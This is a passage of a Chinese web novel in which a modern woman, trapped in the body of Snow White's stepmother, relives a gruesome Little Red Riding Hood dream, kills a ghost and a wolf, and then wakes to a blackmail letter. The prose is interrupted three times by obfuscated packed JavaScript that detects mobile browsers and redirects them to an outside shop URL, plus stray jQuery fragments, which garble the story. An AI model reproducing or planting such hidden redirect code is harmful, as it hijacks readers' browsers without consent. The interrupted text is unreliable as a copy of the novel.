小红帽把葡萄酒和蛋糕重新收回了围兜里，拿出自己刚刚采集的鲜花展示给外婆看，说：“外婆，我们在路上遇到了大灰狼叔叔，他说这里有很美的鲜花，所以我过来采一些给你带去。你看你看，是不是很漂亮。” 她歪着脑袋，由于脖子处的缝线不缜密，露出了里面的棉花来，整个头像是要往下掉。 卡特琳娜看着这个诡异的小红帽布偶人，心中升起不好的感觉。她问：“你们？你和谁一起来的？” “我和小红帽，还有小红帽。”她说。 卡特琳娜若有所思，问：“所以，你们是三个人对吧？另外两个小红帽呢？她们去哪里了？你们为什么没有在一起？” 她想起照片里原本是三个小红帽，现在变成了两个，难道在上一轮被大灰狼吃掉，死去的那一个就是现在眼前的布偶人？她没有了身体，只能做一只布偶。 “她们去扑蝴蝶了。”小红帽说着低下头来，“她们不爱跟我一起玩，她们嫌我脏。” 确实很脏，作为一个布偶该好好洗一洗了。 卡特琳娜见她对自己没有威胁，放下心来，笑着安慰说：“乖孩子，你不脏，你只是有点发臭了。你不需要在意她们的目光和评价，最好少跟她们一起玩。外婆鼻子不太好，闻不到你身上的味道，不嫌弃你。乖孩子，告诉外婆，她们在哪个方向？” 她本来想摸摸小红帽的头，但实在下不去手，最终作罢。 小红帽往山坡后面指，说：“她们应该在那里。” 卡特琳娜没有停留，往她指的方向走去。果然没多久，她又见到一个红色兜帽的孩子身影在扑蝴蝶，她叫道：“小红帽！” 那孩子果然停了下来，注意到叫住她的老婆婆。 “外婆，是你？你不是病了吗？怎么到这里来了？”小红帽蹦蹦跳跳地走到卡特琳娜的面前来。 卡特琳娜看着眼前这个缩小版的她自己，至少表面上是人类的模样，心里终于好受很多。但环顾四周，没有发现另一个小红帽，她皱眉询问：“还有一个小红帽呢？” “外婆，我们怕你生病了等不及，所以就让她先拿着葡萄酒和蛋糕去找你！”小红帽回答说，她非常喜欢蝴蝶，与周围的蝴蝶不停互动着。 卡特琳娜心里咯噔一下，还是来晚了。她问：“什么时候的事。” “有一会儿了。” 不能傻站着，她立即带上小红帽往木屋的方向回，要是第二个小红帽被大灰狼吃掉，是不是这个故事还得重来？当所有小红帽都被吃掉了以后，回发生什么事情？ 也许，到那个时候，前卡特琳娜的目的就达到了，她会被驱逐出这具身体，成为这个陌生世界的幽灵。 “你们怎么能跟大灰狼说话呢？小孩子就不能在路上跟陌生人说话！你们的妈妈没有教过你们吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632559|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡特琳娜一边走一边抱怨，这不让人省心的小红帽们真的是搞死她了！ “外婆，妈妈说让我们带着葡萄酒和蛋糕来看望你，一直沿着大路往前走，你的家在第三棵橡树的后面。她没有告诉我们，不要跟陌生人说话。”小红帽回答道。 卡特琳娜差点翻白眼，碎碎念：“那她就告诉你们不要跟小布偶说话？你们还嫌弃人家脏！虽然她是真的脏，但也是你们的姐妹，你们怎么能排挤人家呢？” “小布偶？”小红帽疑惑地抬头看她。 幼年卡特琳娜太可爱萌萌，老卡特琳娜忍不住掐了一下她的小脸蛋，说：“对，就是那个脏脏的布偶，穿着跟你一样的红色兜帽。” “是这个吗？”小红帽从她的围兜里掏出来一个成人手掌大小的布偶人，跟卡特琳娜在花丛里见到的布偶小红帽一模一样。 卡特琳娜不由得停下脚步，额上渗出汗水。 “小红帽被大灰狼吃掉之后，妈妈缝了她的布偶，我们没有嫌弃她，只是她太脆弱了，很容易被折断。” 小红帽说着，布偶人的脑袋突然掉了下来。 小红帽真的没有嫌弃，她把布偶头捡起，按回布偶的身子上，揣回了自己兜里。 难道刚刚卡特琳娜在花丛里看到的那个布偶人是鬼吗？她被吓得踉跄一下，被小红帽扶住才没有跌倒。 这时候她们已经走到了木屋附近，远远能看到那棵高大的橡树。 一个穿着红色兜帽的女孩正在屋子前敲门，从旁边的窗户能看到里面有巨大的阴影，根本不是一个普通老太婆能够形成的。 卡特琳娜听得不太真切，但大概知道女孩在说什么。 “外婆外婆，我是小红帽，我给你送葡萄酒和蛋糕来了，你快给我开门啊。” 那扇门立即就打开了，但小红帽没有马上进去，而是打量着屋子里面穿着外婆衣服的大灰狼，问：“外婆外婆，你的手怎么这样大？” “为了更好地抱着你呀。”大灰狼一把将小红帽给捞进了屋子里。 卡特琳娜大喊道：“小红帽！别进去！” 但她距离太远了，不知道小红帽听到没有，那扇门瞬间关闭，让她的心也跟着“嘭”的一声。她让身边的小红帽躲在树后面，然后自己往屋子跑去。 门没有关，她一下子就推开了。 血腥味立即灌进她的鼻腔，让她知道她并没有老迈到嗅觉失灵。 “啊！”小红帽的尖叫声和她的尖叫混在了一起。 大灰狼当着外婆的面，将小红帽的脖子咬断，鲜血喷溅了整个木屋。也许是画面太过于刺激，卡特琳娜只感觉自己的心脏像是被人紧紧攥住，剧烈疼痛起来。 她难以呼吸，很快倒在地上，眼睛都来不及闭。 她死了。 * 第三次醒来，卡特琳娜第一时间找到床头柜上的照片。 三个小红帽果然已经消失了两个，只剩下最后一个了。 她必须做点什么。 如果第三个小红帽也被大灰狼吃掉，她会再重来一次？还是必须接受成为幽灵的现实？ 14. 她是外婆（3）（已修） 卡特琳娜将大灰狼骗到屋子后面之后，她再次跑进了森林里，没有一刻停留。果然如她所料，花丛中采花的小红帽布偶人变成了两个。 两个一模一样的恐怖娃娃对她说：“外婆外婆，我们给你带来了葡萄酒和蛋糕。” 她没有时间理会她们，没有停下喘息，而是继续往山坡后面跑。 她的紧赶慢赶还是有成效，她遇到了唯一还活着的人类小红帽。她从小红帽的围兜里找出来两个布偶娃娃，小红帽说：“小红帽和小红帽被大灰狼吃掉了，妈妈做了她们的娃娃给我，让我带着她们和葡萄酒、蛋糕一起来找外婆。” 她的话说完，两个娃娃的头都掉下来落在地上，正如她们被大灰狼咬破喉咙的死法。 之前卡特琳娜一直忽略了一点，小红帽的童话故事不仅仅有小红帽、外婆和大灰狼，还有妈妈和猎人。 但如果有猎人的话，他只会在小红帽被吃掉后现身。 按照这里的情况来看，大灰狼不是将小红帽整个吞下去，他显然是一只有着真实属性的狼，他会先咬断小红帽的脖子，再将她的肉一条条撕下来咀嚼吞咽下肚。 猎人是原版故事的童话加工，是不存在的美好幻想，所以猎人是可以不用考虑的角色。 反而小红帽的母亲，作为让小红帽来给外婆送葡萄酒和蛋糕的故事起因，是非常值得探索的部分。 卡特琳娜让小红帽将娃娃放回围兜里，然后牵住了她的手，说：“乖孩子，外婆的病好多了，你能带我去你家吗？我想见你妈妈一面。” 小红帽眨巴着大眼睛看她，答应道：“好呀外婆！小红帽和小红帽和小红帽很开心，妈妈也一定会很开心的。” 卡特琳娜被她的话绕了一下，有些懵，问：“你们三个都叫小红帽吗？长得也一模一样，要怎么区分你们谁是谁？” “我们都是小红帽，为什么要区分谁是谁呢？”小红帽反问她。 这下该卡特琳娜无言以对，觉得她说的没有错。但卡特琳娜心里还是有那种古怪的感觉，脑海里再次浮现那张照片。不仅仅是小红帽，她和小红帽的妈妈都穿着红色兜帽，也是不是暗示着她们是曾经的小红帽？ “当时你在路上遇到大灰狼的时候，对话是什么你还记得吗？”卡特琳娜拉着小红帽的手，一边走一边问。 小红帽非常乖巧，详细地回答了外婆的问题： “他问我，戴着红色帽子的小姑娘叫什么名字，是从哪里来的呀？ “我回答他说，大灰狼叔叔，我叫小红帽，我从东边第九棵杜松子树后的屋子里来。 “他又问我，小红帽拿着葡萄酒和蛋糕要往哪里去？ “我说，妈妈让我带着葡萄酒和蛋糕去西边第三棵橡树后面的屋子里给生病的外婆。 “他说，从大路走会绕很长一段路，从小路走会近一点。 “我说，妈妈让我不要离开大路，一直沿着往前走。 “他说，那是一条非常漂亮的小路，不仅更近，而且路上还会遇到美丽的鲜花和五颜六色的蝴蝶。” 要不是这里是童话，卡特琳娜真的要好好教训一下这个智障小孩子。她不仅跟陌生狼说话，把妈妈和外婆的地址全部暴露，甚至还真敢相信狼的说辞选择走小路。 卡特琳娜从五岁起就知道不能和陌生人说话，不吃陌生人给的东西，不要跟陌生人走，童话故事里的小孩子怎么连这种常识都没有啊！ 卡特琳娜气都不顺了，问：“你不知道大灰狼会吃人吗？” “我知道啊。”小红帽回答说。 她竟然知道！卡特琳娜气得要翻白眼了：“既然知道，你为什么要和他说话？” “他吃人，就不能跟他说话吗？”小红帽一脸无辜，拉着外婆的手走路还蹦蹦跳跳，“但是妈妈和外婆也吃人，小红帽和小红帽和小红帽也吃人。如果不能跟吃人的人或者狼说话，那小红帽就变成哑巴啦！” 吃人？ 卡特琳娜被她的说法吓了一跳，脸色都白了。这是童话世界吗？怎么人都开始吃人了？恐怖故事都不会一来就上高能！ “你搞错了吧。”她觉得是小红帽没有被妈妈教育好，所以才会说这种胡话，“人是不会吃人的。” “外婆才搞错了呢！”小红帽见外婆老是反驳自己，不高兴了，小嘴嘟起来，“人最喜欢吃的就是人了！” 虽然小红帽长得可爱，但现在卡特琳娜却不觉得她可爱了。 “为什么这样说，你吃过很多人吗？” 还没等小红帽回答，卡特琳娜就感觉到周围环境发生了变化，她们从森林走到了峡谷的入口。眼前是一条深幽漆黑的通道，空气潮湿冰冷，有着浓郁的血腥味道。 卡特琳娜的老花眼看到道路两旁从石砾堆中露出来的白色骨头，如果小红帽说的话是真的，那很有可能会是人骨。 “我不需要吃很多人，也能知道人最喜欢吃人。”小红帽回答了她的问题，还补充说，“吃小猪、小羊、小鸡，只是简单的吃肉，填饱肚子，但是吃人的话就不仅仅是吃人了。你吃掉人之后，能够获得她/他的一切。” 她的话让卡特琳娜不禁停下脚步，侧过头去看她。这个孩子并不是傻子，但却傻傻笑着，又说：“外婆，别停下，快走！妈妈一定会很高兴你跟我一起回家的！” 这是一条无人的狭窄小路，雾气弥漫看不清前方。 但自从卡特琳娜走进来之后，她便感受到无比拥挤，她每走几步都会撞到“人”，但定眼一看又什么都没有。 这种感觉让她呼吸困难，不得不慢下步子，小红帽却一直催她快点，似乎不赶紧回去会发生什么恐怖的事情。 很快，她在模糊的视线中发现了第一棵杜松子树，然后数到了第九棵，她们一起往第九棵树的后面走。 天色暗下来，似乎入夜了。 不远处的小屋窗户亮起了灯光，隐隐约约能看到一个女人的影子，她一边哼着歌，一边做手工。 那肯定就是小红帽的妈妈。 “妈妈，妈妈，我带着外婆回来了！”小红帽松开了外婆的手，朝着小屋飞奔而去。 女人听到女儿的声音，却仍坐在窗口缝线，并没有要站起来的意思。 但房门却开了，两个小红帽站在门后面迎接跑过去的小红帽。 卡特琳娜在看到那两个小红帽布偶人站在门后的时候立即停下脚步，呼吸近乎停滞。那四只黑色纽扣缝成的眼睛直直地盯着她看，用红线缝成的嘴弯成了诡异的弧度。 “妈妈？”小红帽看到那两个已经死去变成布偶人的小红帽后也停住了，略有些疑惑地喊着。 女人终于用牙咬断了手中的线，拿着刚刚做好的娃娃从椅子站起身，走向门边。 卡特琳娜看到了那个女人，青年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632560|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡特琳娜，与她寄居的身体一样年轻貌美的卡特琳娜。 那张绝美的面孔后面，住着一个真正恶毒的灵魂。 “啊！妈……呜……”小红帽痛苦地尖叫着，然后倒在了地上，她捂着嘴巴发不出声音。 卡特琳娜看到青年卡特琳娜一手拿着第三个小红帽布偶人，一手用剪刀将布偶人的嘴巴剪掉。不知道这是什么可怕的魔法，反正倒在地上的人类小红帽没有了嘴巴，血流不止。 “就……是你吗？”卡特琳娜心中满是恐惧，她深知自己绝无可能与这样强大的幽灵魔法学派巫师对抗。 但她不能逃走，她必须面对这个女人，不能让自己的身体被抢夺。 这是她的梦境，是她熟知的童话故事，前卡特琳娜要怎么赶走她的灵魂？ 卡特琳娜的大脑疯狂转动着。 她有了初步的猜测，根据每个小红帽死亡后她就会重新开始的规律，很有可能当小红帽死完后，她就没有办法再重开。到那时候，她本人就会死，意味着她被驱逐出卡特琳娜的身体。 现在第三个小红帽已经被幽灵卡特琳娜的人偶魔法控制住，肯定难逃一死。在小红帽死后，便是卡特琳娜最后一次重开的机会。 她该怎么做才能不被驱逐，而是反过来将幽灵卡特琳娜赶走？ “亲，能不能好好商量？”卡特琳娜觉得事情到了这种地步，不如开门见山地讲清楚，“卡特琳娜？你也叫卡特琳娜对吧？你要知道，我不是故意占据你的身体，我是无辜的路人，是意外的受害者。你不能对我赶尽杀绝，这是不人道的。” 虽然跟一个残忍虐待继女的恶毒继母谈论人道问题有点离谱，但卡特琳娜认为她必须摆明自己的态度：“我完全能够理解你的心情，你想要夺回自己的身体，所以入侵了我的梦境，制造了这样一个怪异的故事。但你实在是太没有礼貌，太冒昧了。如果你能先找我聊一聊，也不至于让事态发展到这一步。” 幽灵卡特琳娜却只是狠毒地看着她，没有做出任何回应。 “我们各退一步。”卡特琳娜见她没有对自己出手，也没有对小红帽下死手，估计还有谈判的空间。 她习惯性把条件往高了说，以便于在后续的协商中让各方都觉得自己没有吃亏。 她清了清嗓：“我们签订契约吧，在我找到回我世界的方法之前，我暂时借用你的身体。在这期间，我会帮助你适应幽灵的生活。” 这个条件不算过分吧？卡特琳娜等待她的讨价还价。 但是，那个幽灵卡特琳娜却只是盯着她看，然后将手中的布偶人提起来扭断了脖子。倒在地上的小红帽在挣扎中停止了动弹，应该是咽气了。 “妈妈，你在说什么胡话？你是病糊涂了吗？”幽灵卡特琳娜说着走近了，“要不要我帮你治治舌头？” 卡特琳娜被吓得动弹不得，眼看着要她命的女人贴在她的脸前。但这次她并没有随着小红帽的死亡而立即跟着歇菜，而是在幽灵卡特琳娜用剪刀往她嘴巴戳的时候，被吓晕了过去。 这次她在黑暗中沉浮了好一会儿时间，才感觉到胸口熟悉的剧痛。 她又死了。 * 第四次醒过来。 卡特琳娜满背都是冷汗，她拿起床头柜上的照片，里面只有老迈的她和年轻的卡特琳娜，小红帽全都消失不见。 这是最后一次了。 15. 她是外婆（4） 白钰自认为不算是个好人，虽然她没有卡特琳娜恶毒得那么极端，残忍虐待、折磨继女玛利亚，但她确实达不到普世价值所说的“心地善良、助人为乐”的条件。 她只是个普通的利己主义者，就像她来的那个世界上的绝大多数人。 * 卡特琳娜将照片放下，即使并非十足的把握，但她心中有了主意。 她还记得米洛对她说的话，这里是她的梦境。 在她以前的世界里，人们很相信周公解梦，除此之外，心理学家也认为梦境反应人们对现实世界的理解，映射潜意识中不为人知的个人感受。 这个小红帽的童话故事，显然是卡特琳娜自己内心的某种折射。 五个她自己，一个她已年迈老去，不需要外力，仅仅是等待时间流逝就会自己病死；三个她尚存童真，天真无邪不知世间险恶，轻信他人，难逃被恶势力大灰狼咬破喉咙的结局；最后一个她年轻貌美，却被恶毒的幽灵所取代，幽灵的目的应该是消灭这个梦境里除她以外的全部卡特琳娜。 卡特琳娜坐在床上思忖许久，熟悉的敲门声响起来了。 咚咚咚。 咚咚咚。 随之而来的是大灰狼熟悉的低沉的嗓音：“外婆，我是小红帽，我带了葡萄酒和蛋糕来看你，你快给我开门呀。” 卡特琳娜翻身下床，行动老迈迟缓，回答道：“等一下，我来了。” 她走到门边，却没有急着给大灰狼开门，也不打算像前两次那样将大灰狼骗到屋子后面。她发现这只狼是她梦境里唯一不同于卡特琳娜的存在，也是让一切重新开始的契机。 小红帽被幽灵卡特琳娜杀害的时候，她并没有立即死去，反而是等待了很久第三次重开才出现。 卡特琳娜不难推断出来，幽灵卡特琳娜肯定在她晕倒之后做了什么。结合前几次重开的线索，她认为只有当小红帽被大灰狼吃掉后，重开才会被触发。 毕竟在她对小红帽这个童话故事的认识里，大灰狼才是最邪恶也最愚蠢的大反派。又蠢又坏说的就是他，空有武力值，却还是会被一个老太婆骗到。 至于小红帽，那是比蠢狼还要蠢的傻白甜女主，就别提了。 “大灰狼先生，我有件事想和你商量一下。”卡特琳娜站在门后面，手放在了门栓上，只要她稍微一扯，这道门就能够被轻易推开。 大灰狼果然愣住，陷入了沉默，但对于他那完美的伪装被外婆一下子识破，他怎么想都不知道原因。 “我生病了，马上就要死了。”卡特琳娜没有骗他，这是真实的情况，“我的三个外孙女也全部都被你吃掉，你今天在路上碰到的要给我送葡萄酒和蛋糕的小红帽只是幽灵魔法制造的人偶。我死后就能跟我的外孙女们团聚，但我的女儿还留在人世间，所以我想要麻烦你帮我也把她带到我身边来。” 大灰狼听到这里终于有了回应：“外婆，你想要我把你的女儿也吃掉吗？” “当然，这样的话我们一家五口就能够团聚了。”卡特琳娜微笑起来，“我一个要死的老太婆可不好吃，但我的女儿她年轻貌美，肉质鲜嫩，想必是非常美味，比小红帽也不会差。大灰狼先生，如果你能按照我说的做，我就拉开门让你进来。等你吃了她之后，你也可以把我吃了，这比我痛苦地病死要好很多。” “我答应你，外婆，我会把你们全家都吃掉，让你们家人团聚的。”大灰狼说。 卡特琳娜拉开了门栓，门被推开了。 这是一只巨大的灰狼，比二米的门还要高出一些，需要弯着腰才能走进屋子里来。他看着眼前的老太婆，口水不自觉地往下流，滴在了地上，发出腥臭的味道。 他没有忍住，把脸往前凑，贴着卡特琳娜闻嗅着。 獠牙、竖瞳、利爪，每一样都让卡特琳娜心惊魄动。此时她必须相信自己的判断，她判断这只狼是个力大凶残，却相对脑子没那么好使的家伙。 他似乎是被卡特琳娜的老人味呛到，嫌弃地移开鼻子，眼睛却一直盯着她的脖子，问：“我要怎么才能吃到你的女儿？” “你只需要等待就好了。”卡特琳娜朝他礼貌地微笑着。 * 如果她是幽灵卡特琳娜的话，她会怎么做？她一定不会放过那个夺走自己身体的不明人士，她一定会动用自己能动用的办法对她进行报复。 但很遗憾的是，这里是她这个外来者的梦境。 当时幽灵卡特琳娜没有接她的话茬，反而是叫她妈妈，她便知道梦境的一个潜规则——除了梦主人以外，其他人只能扮演自己的角色。幽灵卡特琳娜选择扮演她的女儿，那就很难脱离女儿的角色，她只能叫她妈妈，说一个女儿能说的台词。 尽管小红帽的故事经过梦境变异有了古怪的走向，但大致情节是固定的。 幽灵卡特琳娜要她死，就必须亲自来找她。 果然，在她藏好大灰狼一段时间之后，房门再次被敲响。 咚咚咚。 “是谁？”卡特琳娜询问。 “外婆，是我，小红帽。妈妈让我给你送来了葡萄酒和蛋糕。”是小女孩甜蜜的声音。 卡特琳娜透过窗户，看到门外是三个小红帽模糊的身影。她没有犹豫，将房门打开。 三个小红帽布偶人整整齐齐手拉着手站在外面，黑色纽扣做的眼睛不知道是看向哪里，模样别提有多瘆人。卡特琳娜按下心中的恐惧，招呼她们进屋，“进来吧，乖孩子们。” 她们刚刚踏进来，房门便关上了。 饥渴的大灰狼立即扑向了幼小无助的三个孩子，咬向了她们脆弱的脖颈，然后……他吃了三嘴棉花。大灰狼将口中的布料吐出来，惊呼：“她们竟然真的只是布偶！” 卡特琳娜差点翻白眼，她一个老花眼都能看出那是布偶呢，他那么大两只狼眼睛一点没看出来？ 不过也不是没有道理，世界上包括狼在内的绝大多数哺乳动物都是色盲，它们能辨别生物的行动轨迹，却忽略了更多视觉上的细节。 那幽灵呢？人变成幽灵之后，眼中的世界会出现变化吗？ “小声点。”卡特琳娜提醒他。 她将自己身上的衣服脱下来，给大灰狼换上，把他打扮成外婆。 她用布绑住他的长耳朵，用面纱遮挡他的大嘴巴，用手套掩盖他的长指甲，最后把他塞进了床上的被子里，让他蜷缩着身子。 这样一来，咋眼一看会觉得床上躺着病弱的外婆。 而卡特琳娜呢，从衣柜里找出来一件红色的兜帽穿上。她手工不太好，但还是快速用布条给自己绑了一对长耳朵，一张有獠牙的嘴巴，以及长长的指甲——至少从影子来看像是一只狼了。 世界再次回到了寂静中，童话故事里最关键的主角小红帽，只剩下一个。 小红帽、外婆和大灰狼，还可以把这个故事演下去。 咚咚咚！ 敲门声，伴随着天色变暗，卡特琳娜的视线更加模糊，但屋内昏暗的烛火能很好地给人视觉误导。 如果幽灵卡特琳娜有脑子的话，应该能猜到她和大灰狼达成了短暂的合作关系。卡特琳娜只能祈祷她有点脑子，但又不能有太多脑子。 她模仿着大灰狼的形态举止，走到了门边，让大灰狼用低沉的嗓音问出声：“是谁？” “妈妈，是我，小红帽。”年轻卡特琳娜的声音，“我让孩子们来看你，过去了好久她们都没有回家，我不放心，所以带了葡萄酒和蛋糕过来看看。妈妈，你能帮我开门吗？” 卡特琳娜模仿大灰狼口水流了一地、眼睛都在放光的样子，让可怕的狼影子映照在玻璃窗户上。真正的大灰狼也迫不及待了，他说：“是你啊，我的女儿，快进来吧。” 卡特琳娜假装不小心，将烛火撞翻后按灭，然后拉下门栓，打开了房门，并将自己真实的模样隐藏在门后的阴影里。 狂风大作，整个天都暗下来，屋外橡树的橡子被纷纷吹落。卡特琳娜惊觉，想起了小红帽转述的一句话——外婆家在第三棵橡树的后面。 幽灵卡特琳娜穿着红色兜帽，围兜里是葡萄酒和蛋糕，模样正如小红帽一般。 不同的是，她怀里还有三个小小的小红帽布偶人，她手上拿着那把曾往卡特琳娜嘴巴戳的剪刀。虽然卡特琳娜看不清，但浓郁的铁锈味提醒她，那把剪刀上不只沾了血，还沾染了属于这个幽灵的邪恶。 “妈妈！”幽灵卡特琳娜大喊着，完全没有顾及旁边的“大灰狼”，而是像一股狂风往床上的“外婆”扑去。 果然如卡特琳娜所料，幽灵的目标是她！ 当所有小红帽都死去，只要除掉她，幽灵便能够重回卡特琳娜的身体！ 大灰狼又怎么可能乖乖等着剪刀往他的脖子刺，他一个翻身，不仅阻拦了幽灵卡特琳娜的攻击，还伸出利爪去抓她的脖子。 幽灵的反应非常敏捷，躲开了狼的爪子。她立即发现自己搞错了人，回头去找那个扮作狼的老太婆。 卡特琳娜在幽灵冲进去的瞬间就点燃火柴扔到窗帘上，然后拿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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幽灵拿着剪刀，眼看着将刺到她的喉咙。卡特琳娜闭上了眼睛，也许是她错了，她占据别人的身体，所以没有这个命。 但卡特琳娜期待的疼痛并没有发生，大灰狼一把抓住了幽灵的脚踝，将她拖入自己的身下。一人一狼再次扭打起来，幽灵显然收着剪刀，没有对狼下去死手；但大灰狼却早已抑制不住自己吃人的欲望，一爪一咬都是想要幽灵卡特琳娜的命。 卡特琳娜立即翻身起来，捡起旁边的砍刀，气喘吁吁。 “大灰狼先生，请你加油！”她给大灰狼鼓劲儿。 但显然大灰狼不是幽灵的对手，他被幽灵卡特琳娜按倒在燃烧了一半的橡树下。幽灵手中的剪刀已经刺进他胸口两分，他死死抵着女人的胳膊才没让剪刀继续往里进。 卡特琳娜非常感谢大灰狼这么给力，不愧是她梦境里的武力值第一。她走到幽灵卡特琳娜的背后，毫不犹豫给了她一个大砍刀。 她力气不够，仅仅只能砍断一半的脖子。 脑袋就那样吊着，竟然还能转过脸来看向卡特琳娜。幽灵眼里的怨念太过于强烈，令卡特琳娜连连后退了好几步。 “我会再来的，妈妈。”幽灵卡特琳娜在死亡之后，竟然露出一个极其诡异的微笑。 卡特琳娜冷汗淋漓，她知道这个幽灵一定会追着她不放。 大灰狼如愿以偿，立即咬在年轻卡特琳娜的脖子上，幸福地喝血吃肉，对卡特琳娜说：“外婆，多亏了你，真是太美……” 他的“味”字还没有说出声，卡特琳娜的砍刀落在了他的脸上。 大灰狼反应敏捷，避开了她的突然攻击，脸被砍下来一半。但他还没来得及做什么，致命的砍刀再次不断落下。 卡特琳娜年纪太大了，力气不足，速度也不快，要不是大灰狼受伤很重，已然力竭，她连伤他毫毛的机会都没有。现在是生死存亡的时刻，她不会有任何犹豫。 不等大灰狼反扑，她用砍刀不停地挥向这个曾与她同盟的狼。 “真是抱歉啊。”她在确定大灰狼完全歇气之后，才将砍刀放下，瘫坐在地上不断喘气。 她捧起被她砍得面目全非的狼头，站起身面对已经烧成巨大火焰的橡树，嫌恶地将狼头扔进了火焰之中，说：“跟人类打交道是这样的，欺骗、陷害、背叛，如果你学不会这些，那你就活不下去。” 她暂时活下来了，但她的学习之路恐怕还有很长。 16. 通向王座 卡特琳娜醒来后看到华丽的顶穹后不可避免地感到失望。 她非常希望这一切都是梦，她睁眼后能回到她自己的现实世界里，而不是还在童话故事中作为白雪公主的恶毒继母。 她不知道自己睡了有多久。 她舒舒服服在床上伸了个大懒腰，转头看见窗外下着瓢泼大雪，很难通过天色进行观察和推断具体时间。 “我的卡特琳娜，您已经昏睡超过十八个小时。”米洛总算有了点主观能动性，不需要她的询问便告诉她这种必要的信息。 十八个小时，她感觉她在小红帽和大灰狼的故事里经历了三四天！ 甚至卡特琳娜有点入戏太深，从梦里带回来老迈后遗症，在床上伸个手都觉得自己喘不上气、使不上力。 而且雪还这么大，正是适合赖床的时候！ 她连床都不愿意离开，痛苦地伸手拉了拉旁边的铃铛。 简妮很快便进来询问：“王后陛下，您有什么吩咐？” “给我准备吃的。”卡特琳娜顿了顿，“给我端到床上来。” 简妮应声后便离开。 终于轮到她在床上躺着不动了！ 这也是穿越到这里唯一的好事吧？有一堆仆人服侍她，不用去上班，不用受老板的气，而且还是人们心目中的恶毒巫婆，再做什么坏事也不会令人惊奇。 “在您熟睡期间，伊桑*沙穆派遣了一只老鼠给您传递了一封信。”米洛尽职尽责地告知她。 “什么？”卡特琳娜终于清醒过来，坐起身子。 对了，还有伊桑*沙穆这个隐患存在。他知道她的秘密，他一直以此作为威胁。 真的是一刻也不能放松。 卡特琳娜问：“在哪里？” 米洛回答：“在您的床下面。” 卡特琳娜穿着睡衣翻身下床，伸手去摸床底下。但她没摸到信，反而是摸到一个毛茸茸热乎乎的东西，还发出“吱吱”的声音。 她被吓了一跳，赶紧把手收回来。 那圆滚滚的毛家伙却跟着从床底下溜出来，吓得卡特琳娜跳回到床上用被子裹住自己。 灰溜溜的大老鼠手里拿着卷好的纸条也想往她的床上爬，又粗又长的尾巴像是一条大蚯蚓。卡特琳娜立即大声训斥它：“给我停下！不准过来！” 大老鼠能听懂人话，果然停下来，站在地上面，眼珠子一转，手里拿着纸条往上递。 “你不能放下就走吗？为什么还要留在我的床底下？！” 卡特琳娜其实没有那么害怕老鼠，只是觉得这种动物实在是太脏了！根据她了解到的知识，老鼠身上携带者大量的细菌、病毒。 而且她现在处于医疗条件低下的世界，若是有鼠疫这种事情发生，岂不是一场巨大的灾难？ 伊桑那该死的家伙，派遣什么不好，派遣一只老鼠？他难道不能学学人家卡洛斯上将，派遣一只乌鸦多么卫生啊！ “吱吱吱吱吱吱。”老鼠委屈巴巴地把纸条放在地面上，趴在那里等待卡特琳娜去拿。 “我的卡特琳娜，它说，它的主人命令它将东西亲手交给您，亲眼看着您阅读完毕，不然怕中间发生什么变故，导致信息没有准确地传达到您的耳朵。”米洛翻译着鼠语。 卡特琳娜非常嫌弃老鼠碰过的东西，但还是克服了心里的厌恶将纸条捡起来，阅读上面的字句。 在她读完之后，忍不住气愤地翻了一个白眼，然后将纸条揉作一团，扔到地上。 大老鼠见状立即过去抓住纸团，吃进了自己的肚子里销毁证据，然后它后腿站立又吱吱两声。 米洛尽职翻译鼠语：“它说，王后陛下，臣告退了。” 卡特琳娜哪里有功夫理会一只老鼠告不告退！她重新钻回被窝里，气得用枕头盖住脸。 伊桑*沙穆竟然还敢威胁她！ “如果十日内你不救我出地牢，我就将你的秘密公开。——伊桑。” 他仗着肚子里怀着她的孩子，越来越得寸进尺了。之前是让她救他不死，现在是要她救他出地牢。 那以后呢？他生下了孩子呢？他肯定还会用孩子要挟他，说不定还想父凭子贵，这种当小三的绿茶心机婊是没有底线的！ 卡特琳娜现在有把柄被他捏在手里，根本拿他没有办法，只能谋划把他救出地牢的事。 这时候简妮敲门进来，将装着牛奶、鸡蛋、面包和一些配菜的大盘子放到了卡特琳娜的床上。她本来该高兴地享用醒来后的第一餐，却不得不开始心烦如何救出伊桑*沙穆的事情。 “简妮。”卡特琳娜叫住外走的简妮。 简妮瑟瑟缩缩，从来都是弯腰低头，“陛下，您还有什么事吗？” “我忘记了，你信仰哪个神来着？”卡特琳娜一边吃面包一边问她。 简妮不明白王后这样询问的用意，顿了好久，才犹犹豫豫回答说：“回，回陛下，我是全知神的信徒。” 全知神。 卡特琳娜本人也是全知神的信徒，她又问：“你一般什么时候去教堂做礼拜？” 简妮说：“我每个周日和每个月的七号会去全知神教堂做礼拜。” “今天不就是周日？你什么时候去？我们一起去怎么样？”卡特琳娜提议道。 简妮愣住了，过了很久才回答：“今，今天早上已经去过了。” 